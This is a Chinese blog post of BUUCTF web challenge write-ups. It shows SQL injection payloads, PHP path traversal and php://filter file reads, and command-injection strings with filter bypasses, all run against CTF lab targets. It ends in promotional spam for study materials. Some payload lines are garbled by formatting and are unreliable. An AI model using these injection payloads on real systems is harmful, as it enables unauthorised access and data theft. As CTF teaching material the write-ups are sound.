【BUUCTF Web】WriteUp超详细,10年阿里开发架构师经验分享

在这里插入图片描述
首先第一步 判断是哪一种注入方式:字符型?还是数字型?

在请求框中输入 1 1’ 来根据服务器给出的回显进行判断

输入1时
在这里插入图片描述
输入1’ 时
在这里插入图片描述

根据回显内容可知,该注入类型为字符型注入

接下来因为是字符型注入,可以尝试字符型注入时的万能公式试一试
这里我个人认为区分字符型和数字型的最简单的方式就是看他1后面有没有跟着单引号,如果有就是字符型,如果没有就是数字型

万能公式:
1 and 1=1 数字型
1’ and ‘1’=‘1 字符型
1 or 1=1 数字型
1’ or ‘1’='1 字符型

使用 1’ or 1=1 进行注入时,注入成功
在这里插入图片描述
使用 1’ and ‘1’= '1 进行注入,注入不成功
在这里插入图片描述

为什么and不行而or就可以呢?
这里就要首先了解and和or的区别。在注入时,A and B 执行成功的条件是A与B必须同时成立,才判断为正确。而 A or B 执行成功的条件是A与B有一项正确即可。可以理解为与或关系,and是与or是或,这样就可以理解为什么and不可以了。

[极客大挑战 2019]Havefun

在这里插入图片描述
我们可以看见这个页面上只有一只小猫,我们可以尝试查看网页源代码

可以鼠标右击->查看网页源代码
也可以ctrl+U快捷打开网页源代码

我们可以看到网页源代码中有这么一块代码
在这里插入图片描述
呢么我们尝试在url中请求?cat=dog尝试一下,可以看到flag出现了
在这里插入图片描述

[HCTF 2018]WarmUp

在这里插入图片描述
题目给出提示是php 代码审计,那么我们可以直接查看网页源代码
在这里插入图片描述
可以看到有一个php代码文件 source.php

我们在url后加上/source.php 对该文件下php代码内容进行访问

在这里插入图片描述
同样审计发现,还有一个php文件叫做hint.php,同样的方法对该文件进行访问
在这里插入图片描述
hint.php文件告诉我们 flag不在hint.php中,而在一个叫做ffffllllaaaagggg的东西中
在这里插入图片描述
这时候我们返回头来继续查看source.php,理解source.php中的代码

<?php highlight_file(__FILE__); // 显示当前文件的源代码 class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; // 白名单,允许访问的文件 // 检查$page是否存在且为字符串 if (! isset($page) || !is_string($page)) { echo "you can't see it"; // 输出错误信息 return false; // 返回false,表示文件验证失败 } // 检查$page是否在白名单中 if (in_array($page, $whitelist)) { return true; // 返回true,表示文件验证通过 } // 对$page进行处理,去除可能存在的查询字符串 $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); // 检查处理后的$_page是否在白名单中 if (in_array($_page, $whitelist)) { return true; // 返回true,表示文件验证通过 } // 对$page进行URL解码,并进行与上面相同的处理 $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); // 检查处理后的$_page是否在白名单中 if (in_array($_page, $whitelist)) { return true; // 返回true,表示文件验证通过 } echo "you can't see it"; // 输出错误信息 return false; // 返回false,表示文件验证失败 } } // 检查是否存在非空的$_REQUEST['file'],且为字符串,并调用emmm类的checkFile方法验证文件 if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; // 包含指定的文件 exit; // 终止脚本执行 } else { echo "
"; // 输出一张图片 } ?>

通过查看代码,我们对url进行修改,键入

source.php?file=hint.php?ffffllllaaaagggg

在这里插入图片描述
这时候我们发现图片消失了,说明我们键入的内容是满足条件的,
但是我们不知道ffffllllaaaagggg的具体位置,所以我们采用如下方法进行文件访问

source.php?file=hint.php?../…/…/…/…/ffffllllaaaagggg

flag出现
在这里插入图片描述

…/ 路径穿越(目录遍历)攻击
…/ 是一种相对路径标识符,用于表示返回到上一级目录。这种技术被称为路径穿越(Path Traversal)或目录遍历攻击(Directory Traversal Attack)。攻击者可以利用目录遍历漏洞来绕过应用程序的访问控制机制,访问其本来不应该访问的文件或目录。通过连续使用 …/ 返回多次,攻击者可以逐级向上导航到更高级别的目录,直到达到目标文件或目录。

[ACTF2020 新生赛]Include

首先打开发现有一个链接是tips
在这里插入图片描述
打开后是名为flag.php的文件,我们要想办法获取到文件的源码。
涉及到PHP伪协议,可以参考PHP伪协议

在了解了php伪协议后,我们判断此处应该使用php://filter读取文件内容

?file=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述
对获取到的内容进行base64解密即可获得flag
base64解密网址:base64解码
在这里插入图片描述

[ACTF2020 新生赛]Exec

在这里插入图片描述
查看网页源代码,发现提示为命令执行漏洞(command execution)
在这里插入图片描述
尝试查看post请求中是否存在命令执行漏洞

尝试写入payload 127.0.0.1| ls

在这里插入图片描述
发现存在命令执行漏洞,有一个index.php文件,使用之前说过的 路径穿越(目录遍历)攻击 尝试依次查看index.php文件的上层目录,看看目录中是否会有flag

方法: 127.0.0.1 | ls …/
127.0.0.1 | ls …/…/
127.0.0.1 | ls …/…/…/

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在进行第三次时,发现一个名字叫做flag的文件,我们要的flag可能就在这个文件中,对flag文件的内容进行查看

127.0.0.1 | cat …/…/…/flag

在这里插入图片描述

[GXYCTF2019]Ping Ping Ping

在这里插入图片描述
打开靶机我们发现页面只用一个 /?ip= 其余没有任何提示,我们猜测是在url中进行提交

尝试在url中衔接上/?ip=127.0.0.1

在这里插入图片描述
发现网页出现回显,我们再查看一下网页的源代码,看看有哪些提示,发现网页源代码也没有任何有用的提示
在这里插入图片描述
联想到上一道题是命令执行漏洞,我们再来尝试一下简单的命令执行漏洞

第一次我输入的是:
/?ip=127.0.0.1| ls 发现页面将空格进行了过滤
第二次我输入的是:
/?ip=127.0.0.1|ls 发现页面回显出了一些文件名

在这里插入图片描述
在这里插入图片描述
我们看到文件中有一个叫做flag.php,我们猜测flag存在于这个文件中,对其进行查看

/?ip=127.0.0.1|cat flag.php

但是我们之前已经知道了代码对空格进行了过滤,所以毫无疑问的失败了,这时就需要用到空格绕过

空格绕过解法:(以cat flag.php为例子,绕过cat与flag中间的空格)
{cat,flag.php}
cat I F S f l a g . p h p c a t {IFS}flag.php cat IFSflag.phpcatIFS 9 f l a g . p h p c a t 9flag.php cat 9flag.phpcatIFS 1 f l a g . p h p c a t < f l a g . p h p c a t < > f l a g . p h p k g = 1flag.php cat<flag.php %09替换 cat<>flag.php kg= 1flag.phpcat<flag.phpcat<>flag.phpkg=‘\x20flag.php’&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
或者base64编码

在这里插入图片描述
但是!当我们成功绕过空格后发现flag也被过滤了,那我们就先来查看一下index.php中的内容

cat$IFS$9index.php

发现其实过滤了很多东西
在这里插入图片描述
我们设置payload,读取一下所有文件的所有内容(我是这样理解的)
因为过滤了很多内容,考虑使用``的形式来绕过正则限制
反引号的作用是将命令的输出当做输入执行

/?ip=127.0.0.1;cat$IFS$1’ls’

然后查看一下网页源代码便获得了flag
在这里插入图片描述
或者采用另一种方法,对含有flag的payload进行b64编码,在用base64 -d解码,最后在通过sh执行,最终执行的就是 cat flag.php

echo$IFS 1 Y 2 F 0 I G Z s Y W c u c G h w ∣ b a s e 64 1Y2F0IGZsYWcucGhw|base64 1Y2F0IGZsYWcucGhwbase64IFS$1-d|sh

同样查看网页源代码,便可以看到flag
在这里插入图片描述

[强网杯 2019]随便注

在这里插入图片描述
这是一道sql注入题,不要问我怎么知道的,和常规的sql注入题一样,检查有无注入
输入1’时回显报错 发现存在注入,且为字符型注入。
在这里插入图片描述
接下来获取列数

1’ order by 1# 正常
1’ order by 2# 正常
1’ order by 3# 报错

说明总共有两列
在这里插入图片描述
尝试最简单的联合查询(union select)查询所有数据库

-1’ union select 1,database()#

发现有一些字符被过滤掉了
在这里插入图片描述
更换思路,考虑堆叠注入查询所有数据库
注意 database 和 databases 的区别

1;show database;#
1;show databases;#

在这里插入图片描述
查询完数据库后,接下来查询所有表

1; show tables;#

在这里插入图片描述
发现有一个奇怪的数字,对它的列进行查看
注意这个符号是 ` 而不是’

-1’;show columns from1919810931114514;#
1919810931114514

在这里插入图片描述
发现其中有一列为flag,只要我们能查看它的内容,这道题就可以解出来了,但是 select字段被过滤,所以没有办法直接对它进行查询。
我们可以想到words是默认查询的表,再后台的查询语句类似以下

select * from words where id =’1‘;

根据之前我们的查看我们知道它没有过滤rename和alert关键字,所以我们可以修改表的结构,来达到查询flag列的内容
我们先查看words表下的列的内容

0’;show columns from words;#

在这里插入图片描述
思路:将words表名改为words1,再将数字表名改为words,这样查询语句就会查询数字表名,我们再将flag字段名改为id字段或者直接添加id字段,就可以达到使用原先代码中的查询语句对flag中的内容进行查询,payload如下

1’;rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);#

最后使用万能密码,即可得到flag
在这里插入图片描述

[SUCTF 2019]EasySQL

在这里插入图片描述
同样是一道SQL注入题,同常规一样,检查注入点
输入1时查看回显
在这里插入图片描述
不管输入什么非零数字,都是一样的回显,尝试0和字符串时没有回显 说明是整型而不是字符型。
查询列数 发现不行
在这里插入图片描述那就使用堆叠注入,尝试查看数据库,发现注入成功

1;show databases;

在这里插入图片描述
再查看表名

1;show tables;

在这里插入图片描述
发现出现了flag,判断flag就在Flag中,尝试对flag进行查询
在这里插入图片描述
这里应该是把Flag过滤掉了,但是看好多网上的大佬写到这一步是要去猜测后端的代码,我实在是知识太薄弱了,不知道为什么要猜测后端代码中存在||这个符号,所以先就按照这种思路来写,之后如果能理解的话我会回来将这个想法写完整

在sql语句中 || 表示的是或逻辑
也就是说: C1||C2 C1和C2只要有一侧是1 就是1 否则就是0

接下来就要猜测后端的语句了,大胆猜测逻辑就是这样子的

内部查询语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。
即:select 输入数据 || flag from Flag

第一种方法:

*,1
相当于构造了select *,1 || flag from Flag,这条语句执行起来相当于select *, 1 from Flag

在这里插入图片描述
另一种方法的思路就是 将||或的逻辑改成连接符的作用
就要补充一个知识点

设置 sql_mode=PIPES_AS_CONCAT来转换操作符的作用,PIPES_AS_CONCAT令||起到连接符的作用

构造payload:

1;set sql_mode=PIPES_AS_CONCAT;select 1
注:这里的逻辑是先把||转换为连接操作符,注意分号隔断了前面的命令,所以要再次添加select来进行查询,这里把1换成其他非零数字也一样会回显flag

在这里插入图片描述

[极客大挑战 2019]Secret File

在这里插入图片描述首先题目首页没给我们多大信息,我们查看一下源码,发现了一个 ./Archive_room.php
在这里插入图片描述对其进行访问,发现页面有一个SECRET可以点击,但是点开后提示我们回去看一看
在这里插入图片描述
在这里插入图片描述
我们查看第一页的源代码,发现还有一个文件叫做./Action.php
在这里插入图片描述但是对他进行访问后发现实际到达的却是end.php
在这里插入图片描述
这时我们掏出我们的BP进行一个简单的抓包
在这里插入图片描述
在这里插入图片描述发现了一个叫做secr3t.php的文件,对他进行访问,打开是源代码,告诉我们flag放在了flag.php中
在这里插入图片描述
那我们就对flag.php进行访问,但是还是不显示,对他的源代码进行查看也没有任何帮助,这里就想到了PHP伪协议
在这里插入图片描述
在这里插入图片描述

secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述
最后对密文进行base64解码就可以得到结果
在这里插入图片描述

[极客大挑战 2019]LoveSQL

在这里插入图片描述
很明显是一道sql注入题,首先判断注入是整型还是字符,说明是字符型注入,并且使用的是MariaDB数据库
在这里插入图片描述
使用万能密码进行一下测试
在这里插入图片描述
我们发现它给了我们一个password,但是经过尝试他并不是flag,对他进行一下解码发现都不行,似乎好像没有什么用处,那我们先按常规查看一下列数吧

1’ order by 3#

总共有三列
在这里插入图片描述
查询一下表名,总共有俩个表

1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

在这里插入图片描述
可以看到有一个表叫做geekuser,可能有我们想要的信息

1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘geekuser’#

在这里插入图片描述
查询id username password的具体内容

1’ union select 1,2,group_concat(id,username,password) from geekuser#

在这里插入图片描述
发现给了我们账号密码 我们登录一下试一试,还是没有用。
在这里插入图片描述那我们用同样的方法对另一个表进行查看,也许flag存在另一个表中

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

😝朋友们如果有需要的话,可以联系领取~

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

2️⃣视频配套工具&国内外网安书籍、文档
① 工具

② 视频

image1

③ 书籍

image2

资源较为敏感,未展示全面,需要的最下面获取

在这里插入图片描述在这里插入图片描述

② 简历模板

在这里插入图片描述

因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
img

② 视频

image1

③ 书籍

image2

资源较为敏感,未展示全面,需要的最下面获取

在这里插入图片描述在这里插入图片描述

② 简历模板

在这里插入图片描述

因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-XRN0pPzW-1712748362541)]

  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值